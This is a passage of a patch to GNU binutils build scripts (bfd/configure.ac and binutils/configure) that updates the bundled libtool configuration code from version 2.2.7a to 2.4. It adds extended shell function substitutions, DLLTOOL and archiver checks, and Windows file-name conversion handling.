+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-# func_strip_suffix prefix name
+-func_stripname ()
+-{
+- case ${2} in
+- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
+- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
+- esac
+-}
+-
+-# sed scripts:
+-my_sed_long_opt='1s/^\(-[^=]*\)=.*/\1/;q'
+-my_sed_long_arg='1s/^-[^=]*=//'
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
+- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=`expr "$@"`
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len`
+-}
+-
+-_LT_EOF
+-esac
+-
+-case $lt_shell_append in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1+=\$2"
+-}
+-_LT_EOF
+- ;;
+- *)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1=\$$1\$2"
+-}
+-
+-_LT_EOF
+- ;;
+- esac
+-
+-
+- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- mv -f "$cfgfile" "$ofile" ||
++ sed '$q' "$ltmain" >> "$cfgfile" \
++ || (rm -f "$cfgfile"; exit 1)
++
++ if test x"$xsi_shell" = xyes; then
++ sed -e '/^func_dirname ()$/,/^} # func_dirname /c\
++func_dirname ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++} # Extended-shell func_dirname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_basename ()$/,/^} # func_basename /c\
++func_basename ()\
++{\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_dirname_and_basename ()$/,/^} # func_dirname_and_basename /c\
++func_dirname_and_basename ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_dirname_and_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_stripname ()$/,/^} # func_stripname /c\
++func_stripname ()\
++{\
++\ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are\
++\ # positional parameters, so assign one to ordinary parameter first.\
++\ func_stripname_result=${3}\
++\ func_stripname_result=${func_stripname_result#"${1}"}\
++\ func_stripname_result=${func_stripname_result%"${2}"}\
++} # Extended-shell func_stripname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_long_opt ()$/,/^} # func_split_long_opt /c\
++func_split_long_opt ()\
++{\
++\ func_split_long_opt_name=${1%%=*}\
++\ func_split_long_opt_arg=${1#*=}\
++} # Extended-shell func_split_long_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_short_opt ()$/,/^} # func_split_short_opt /c\
++func_split_short_opt ()\
++{\
++\ func_split_short_opt_arg=${1#??}\
++\ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}\
++} # Extended-shell func_split_short_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_lo2o ()$/,/^} # func_lo2o /c\
++func_lo2o ()\
++{\
++\ case ${1} in\
++\ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;\
++\ *) func_lo2o_result=${1} ;;\
++\ esac\
++} # Extended-shell func_lo2o implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_xform ()$/,/^} # func_xform /c\
++func_xform ()\
++{\
++ func_xform_result=${1%.*}.lo\
++} # Extended-shell func_xform implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_arith ()$/,/^} # func_arith /c\
++func_arith ()\
++{\
++ func_arith_result=$(( $* ))\
++} # Extended-shell func_arith implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_len ()$/,/^} # func_len /c\
++func_len ()\
++{\
++ func_len_result=${#1}\
++} # Extended-shell func_len implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++fi
++
++if test x"$lt_shell_append" = xyes; then
++ sed -e '/^func_append ()$/,/^} # func_append /c\
++func_append ()\
++{\
++ eval "${1}+=\\${2}"\
++} # Extended-shell func_append implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_append_quoted ()$/,/^} # func_append_quoted /c\
++func_append_quoted ()\
++{\
++\ func_quote_for_eval "${2}"\
++\ eval "${1}+=\\\\ \\$func_quote_for_eval_result"\
++} # Extended-shell func_append_quoted implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ # Save a `func_append' function call where possible by direct use of '+='
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++else
++ # Save a `func_append' function call even when '+=' is not available
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++fi
++
++if test x"$_lt_function_replace_fail" = x":"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Unable to substitute extended shell functions in $ofile" >&5
++$as_echo "$as_me: WARNING: Unable to substitute extended shell functions in $ofile" >&2;}
++fi
++
++
++ mv -f "$cfgfile" "$ofile" ||
+ (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
+ chmod +x "$ofile"
+
+diff --git a/bfd/configure.ac b/bfd/configure.ac
+index a9078965c40..22b5b7ea567 100644
+--- a/bfd/configure.ac
++++ b/bfd/configure.ac
+@@ -303,7 +303,7 @@ changequote(,)dnl
+ x=`sed -n -e 's/^[ ]*PICFLAG[ ]*=[ ]*//p' < ../libiberty/Makefile | sed -n '$p'`
+ changequote([,])dnl
+ if test -n "$x"; then
+- SHARED_LIBADD="-L`pwd`/../libiberty/pic -liberty"
++ SHARED_LIBADD="`pwd`/../libiberty/pic/libiberty.a"
+ fi
+ fi
+
+diff --git a/binutils/configure b/binutils/configure
+index 8cde216cb1f..15f3f4eb874 100755
+--- a/binutils/configure
++++ b/binutils/configure
+@@ -696,8 +696,11 @@ OTOOL
+ LIPO
+ NMEDIT
+ DSYMUTIL
++MANIFEST_TOOL
+ RANLIB
++ac_ct_AR
+ AR
++DLLTOOL
+ OBJDUMP
+ LN_S
+ NM
+@@ -814,6 +817,7 @@ enable_static
+ with_pic
+ enable_fast_install
+ with_gnu_ld
++with_libtool_sysroot
+ enable_libtool_lock
+ enable_plugins
+ enable_largefile
+@@ -1509,6 +1513,8 @@ Optional Packages:
+ --with-pic try to use only PIC/non-PIC objects [default=use
+ both]
+ --with-gnu-ld assume the C compiler uses GNU ld [default=no]
++ --with-libtool-sysroot=DIR Search for dependent libraries within DIR
++ (or the compiler's sysroot if not specified).
+ --with-debuginfod Enable debuginfo lookups with debuginfod
+ (auto/yes/no)
+ --with-system-zlib use installed libz
+@@ -4883,8 +4889,8 @@ esac
+
+
+
+-macro_version='2.2.7a'
+-macro_revision='1.3134'
++macro_version='2.4'
++macro_revision='1.3293'
+
+
+
+@@ -4924,7 +4930,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
+ $as_echo_n "checking how to print strings... " >&6; }
+ # Test print first, because it will be a builtin if present.
+-if test "X`print -r -- -n 2>/dev/null`" = X-n && \
++if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
+ test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
+ ECHO='print -r --'
+ elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
+@@ -5611,8 +5617,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
+ # Try some XSI features
+ xsi_shell=no
+ ( _lt_dummy="a/b/c"
+- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
+- = c,a/b,, \
++ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
++ = c,a/b,b/c, \
+ && eval 'test $(( 1 + 1 )) -eq 2 \
+ && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
+ && xsi_shell=yes
+@@ -5661,6 +5667,80 @@ esac
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to $host format" >&5
++$as_echo_n "checking how to convert $build file names to $host format... " >&6; }
++if ${lt_cv_to_host_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
++ ;;
++ esac
++ ;;
++ *-*-cygwin* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
++ ;;
++ esac
++ ;;
++ * ) # unhandled hosts (and "normal" native builds)
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++esac
++
++fi
++
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_host_file_cmd" >&5
++$as_echo "$lt_cv_to_host_file_cmd" >&6; }
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to toolchain format" >&5
++$as_echo_n "checking how to convert $build file names to toolchain format... " >&6; }
++if ${lt_cv_to_tool_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ #assume ordinary cross tools, or native build.
++lt_cv_to_tool_file_cmd=func_convert_file_noop
++case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ esac
++ ;;
++esac
++
++fi
++
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_tool_file_cmd" >&5
++$as_echo "$lt_cv_to_tool_file_cmd" >&6; }
++
++
++
++
++
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
+ $as_echo_n "checking for $LD option to reload object files... " >&6; }
+ if ${lt_cv_ld_reload_flag+:} false; then :
+@@ -5677,6 +5757,11 @@ case $reload_flag in
+ esac
+ reload_cmds='$LD$reload_flag -o $output$reload_objs'
+ case $host_os in
++ cygwin* | mingw* | pw32* | cegcc*)
++ if test "$GCC" != yes; then
++ reload_cmds=false
++ fi
++ ;;
+ darwin*)
+ if test "$GCC" = yes; then
+ reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
+@@ -5845,7 +5930,8 @@ mingw* | pw32*)
+ lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
+ lt_cv_file_magic_cmd='func_win32_libid'
+ else
+- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
++ # Keep this pattern in sync with the one in func_win32_libid.
++ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
+ lt_cv_file_magic_cmd='$OBJDUMP -f'
+ fi
+ ;;
+@@ -5999,6 +6085,21 @@ esac
+ fi
+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
+ $as_echo "$lt_cv_deplibs_check_method" >&6; }
++
++file_magic_glob=
++want_nocaseglob=no
++if test "$build" = "$host"; then
++ case $host_os in
++ mingw* | pw32*)
++ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
++ want_nocaseglob=yes
++ else
++ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[\1]\/[\1]\/g;/g"`
++ fi
++ ;;
++ esac
++fi
++
+ file_magic_cmd=$lt_cv_file_magic_cmd
+ deplibs_check_method=$lt_cv_deplibs_check_method
+ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+@@ -6014,6 +6115,157 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+
+
+
++
++
++
++
++
++
++
++
++
++
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
++set dummy ${ac_tool_prefix}dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$DLLTOOL"; then
++ ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++DLLTOOL=$ac_cv_prog_DLLTOOL
++if test -n "$DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
++$as_echo "$DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_DLLTOOL"; then
++ ac_ct_DLLTOOL=$DLLTOOL
++ # Extract the first word of "dlltool", so it can be a program name with args.
++set dummy dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_DLLTOOL"; then
++ ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_DLLTOOL="dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
++if test -n "$ac_ct_DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
++$as_echo "$ac_ct_DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_DLLTOOL" = x; then
++ DLLTOOL="false"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ DLLTOOL=$ac_ct_DLLTOOL
++ fi
++else
++ DLLTOOL="$ac_cv_prog_DLLTOOL"
++fi
++
++test -z "$DLLTOOL" && DLLTOOL=dlltool
++
++
++
++
++
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to associate runtime and link libraries" >&5
++$as_echo_n "checking how to associate runtime and link libraries... " >&6; }
++if ${lt_cv_sharedlib_from_linklib_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_sharedlib_from_linklib_cmd='unknown'
++
++case $host_os in
++cygwin* | mingw* | pw32* | cegcc*)
++ # two different shell functions defined in ltmain.sh
++ # decide which to use based on capabilities of $DLLTOOL
++ case `$DLLTOOL --help 2>&1` in
++ *--identify-strict*)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
++ ;;
++ *)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
++ ;;
++ esac
++ ;;
++*)
++ # fallback: assume linklib IS sharedlib
++ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
++ ;;
++esac
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sharedlib_from_linklib_cmd" >&5
++$as_echo "$lt_cv_sharedlib_from_linklib_cmd" >&6; }
++sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
++test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
++
++
++
++
++
++
++
+ plugin_option=
+ plugin_names="liblto_plugin.so liblto_plugin-0.dll cyglto_plugin-0.dll"
+ for plugin in $plugin_names; do
+@@ -6028,8 +6280,10 @@ for plugin in $plugin_names; do
+ done
+
+ if test -n "$ac_tool_prefix"; then
+- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
+-set dummy ${ac_tool_prefix}ar; ac_word=$2
++ for ac_prog in ar
++ do
++ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
++set dummy $ac_tool_prefix$ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_AR+:} false; then :
+@@ -6045,7 +6299,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_AR="${ac_tool_prefix}ar"
++ ac_cv_prog_AR="$ac_tool_prefix$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -6065,11 +6319,15 @@ $as_echo "no" >&6; }
+ fi
+
+
++ test -n "$AR" && break
++ done
+ fi
+-if test -z "$ac_cv_prog_AR"; then
++if test -z "$AR"; then
+ ac_ct_AR=$AR
+- # Extract the first word of "ar", so it can be a program name with args.
+-set dummy ar; ac_word=$2
++ for ac_prog in ar
++do
++ # Extract the first word of "$ac_prog", so it can be a program name with args.
++set dummy $ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_ac_ct_AR+:} false; then :
+@@ -6085,7 +6343,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_ac_ct_AR="ar"
++ ac_cv_prog_ac_ct_AR="$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -6104,6 +6362,10 @@ else
+ $as_echo "no" >&6; }
+ fi
+
++
++ test -n "$ac_ct_AR" && break
++done
++
+ if test "x$ac_ct_AR" = x; then
+ AR="false"
+ else
+@@ -6115,29 +6377,81 @@ ac_tool_warned=yes ;;
+ esac
+ AR=$ac_ct_AR
+ fi
+-else
+- AR="$ac_cv_prog_AR"
+ fi
+
+-test -z "$AR" && AR=ar
+-if test -n "$plugin_option"; then
+- if $AR --help 2>&1 | grep -q "\--plugin"; then
+- touch conftest.c
+- $AR $plugin_option rc conftest.a conftest.c
+- if test "$?" != 0; then
+- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
++ touch conftest.c
++ $AR $plugin_option rc conftest.a conftest.c
++ if test "$?" != 0; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
+ $as_echo "$as_me: WARNING: Failed: $AR $plugin_option rc" >&2;}
+- else
+- AR="$AR $plugin_option"
+- fi
+- rm -f conftest.*
++ else
++ AR="$AR $plugin_option"
+ fi
+-fi
+-test -z "$AR_FLAGS" && AR_FLAGS=cru
++ rm -f conftest.*
++: ${AR=ar}
++: ${AR_FLAGS=cru}
++
++
++
++
++
++
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
++$as_echo_n "checking for archiver @FILE support... " >&6; }
++if ${lt_cv_ar_at_file+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_ar_at_file=no
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++/* end confdefs.h. */
++
++int
++main ()
++{
+
++ ;
++ return 0;
++}
++_ACEOF
++if ac_fn_c_try_compile "$LINENO"; then :
++ echo conftest.$ac_objext > conftest.lst
++ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&5'
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -eq 0; then
++ # Ensure the archiver fails upon bogus file names.
++ rm -f conftest.$ac_objext libconftest.a
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -ne 0; then
++ lt_cv_ar_at_file=@
++ fi
++ fi
++ rm -f conftest.* libconftest.a
+
++fi
++rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
+
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
++$as_echo "$lt_cv_ar_at_file" >&6; }
+
++if test "x$lt_cv_ar_at_file" = xno; then
++ archiver_list_spec=
++else
++ archiver_list_spec=$lt_cv_ar_at_file
++fi
+
+
+
+@@ -6484,8 +6798,8 @@ esac
+ lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
+
+ # Transform an extracted symbol line into symbol name and symbol address
+-lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
+-lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
+
+ # Handle CRLF in mingw tool chain
+ opt_cr=
+@@ -6521,6 +6835,7 @@ for ac_symprfx in "" "_"; do
+ else
+ lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
+ fi
++ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
+
+ # Check to see that the pipe works correctly.
+ pipe_works=no
+@@ -6562,6 +6877,18 @@ _LT_EOF
+ if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
+ if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
+ cat <<_LT_EOF > conftest.$ac_ext
++/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
++#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
++/* DATA imports from DLLs on WIN32 con't be const, because runtime
++ relocations are performed -- see ld's documentation on pseudo-relocs. */
++# define LT_DLSYM_CONST
++#elif defined(__osf__)
++/* This system does not cope well with relocations in const data. */
++# define LT_DLSYM_CONST
++#else
++# define LT_DLSYM_CONST const
++#endif
++
+ #ifdef __cplusplus
+ extern "C" {
+ #endif
+@@ -6573,7 +6900,7 @@ _LT_EOF
